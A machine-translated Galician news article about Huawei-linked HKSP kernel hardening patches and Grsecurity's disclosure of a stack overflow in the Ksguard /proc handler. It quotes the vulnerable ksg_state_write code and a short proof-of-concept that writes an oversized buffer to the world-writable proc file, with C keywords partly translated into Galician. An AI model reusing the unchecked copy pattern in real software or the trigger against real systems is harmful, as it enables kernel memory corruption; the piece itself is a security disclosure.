Problemas de seguridade nos parches propostos por un empregado de Huawei para protexer o núcleo de Linux

Desenvolvedores do proxecto Grsecurity debuxou atención á presenza dunha vulnerabilidade trivialmente explotable no conxunto de parches HKSP (Huawei Kernel Self Protection), hai uns días proposto para mellorar a seguridade do núcleo de Linux. A situación lembra caso con Samsung, no que un intento de mellorar a seguridade do sistema provocou a aparición dunha nova vulnerabilidade e facilitou a posta en perigo dos dispositivos.

Os parches HKSP foron publicados por un empregado de Huawei, inclúen unha mención de Huawei no perfil de GitHub e usan a palabra Huawei no nome do proxecto (HKSP - Huawei Kernel Self Protection). Ao mesmo tempo, os representantes de Huawei negaron a conexión do proxecto HKSP coa empresa e afirmaron que o código foi desenvolvido por iniciativa persoal do empregado, non é un proxecto oficial de Huawei e non se usa nos produtos da empresa. Activado Páxina de GitHub HKSP con carácter retroactivo despois do descubrimento vulnerabilidades tamén engadiuse Teña en conta que o proxecto está a desenvolverse no meu tempo libre con fins de investigación.

HKSP inclúe cambios como a aleatorización de compensacións na estrutura cred, protección contra ataques ao espazo de nomes do identificador de usuario (espazo de nomes pid), separación da pila de procesos da área mmap, detección de chamadas dobres á función kfree, bloqueo de fugas a través do pseudo -FS /proc (/proc/ {modules, keys, key-users}, /proc/sys/kernel/* e /proc/sys/vm/mmap_min_addr, /proc/kallsyms), aleatorización de enderezos de espazo de usuario mellorada, Ptrace adicional protección, protección smap e smep mellorada, a capacidade de prohibir o envío de datos a través de sockets en bruto, bloqueando enderezos incorrectos nos sockets UDP e verificando a integridade dos procesos en execución. Tamén inclúe o módulo do núcleo Ksguard, que está dirixido a detectar intentos de introducir rootkits típicos.

Parches chamado Greg Kroah-Hartman, que é o responsable do mantemento da rama estable do núcleo de Linux, foi de interese, e pediu ao autor que dividise o parche monolítico en partes para simplificar a revisión e promoción ao núcleo principal. Kees Cook, xefe proxecto en promoción tecnoloxía de protección activa no núcleo de Linux, tamén positivamente respondeu aos parches e, entre os problemas, chamou a atención sobre a vinculación á arquitectura x86 e a natureza de notificación de moitos modos, que só rexistran información sobre o problema, pero non intentan bloquealo.

Un estudo do parche realizado por desenvolvedores de Grsecurity revelou moitos erros e debilidades no código, e tamén mostrou a ausencia dun modelo de ameaza que lles permita xulgar adecuadamente as capacidades do proxecto. Para demostrar claramente que o código foi escrito sen utilizar métodos de programación seguros, dáse un exemplo dunha vulnerabilidade trivial no manejador.
ficheiro /proc/ksguard/state, que se crea cos dereitos 0777, o que implica que todos teñen acceso de escritura. A función ksg_state_write, usada para analizar os comandos escritos en /proc/ksguard/state, crea un búfer tmp[32] no que se escriben os datos en función do tamaño do operando pasado, sen ter en conta o tamaño do búfer de destino e sen comprobando o parámetro co tamaño da cadea. Eses. Para sobrescribir parte da pila do núcleo, un atacante só precisa escribir unha liña con formato especial en /proc/ksguard/state.

static ssize_t ksg_state_write (ficheiro de estrutura *ficheiro, const char __usuario *buf,
size_t len, loff_t *offset)
{
valor u64;
char tmp[32];
tamaño_t n = 0;

if (copy_from_user(tmp, buf, len))
retorno -1;

valor = simple_strtoul(tmp, '\0', 10);
...

Prototipo de explotación:

char buf[4096] = {};
int fd = open ("/proc/ksguard/state", O_WRONLY);
se (fd >= 0) {
write(fd, buf, sizeof(buf));
pechar (fd);
}

Fonte: opennet.ru

Engadir un comentario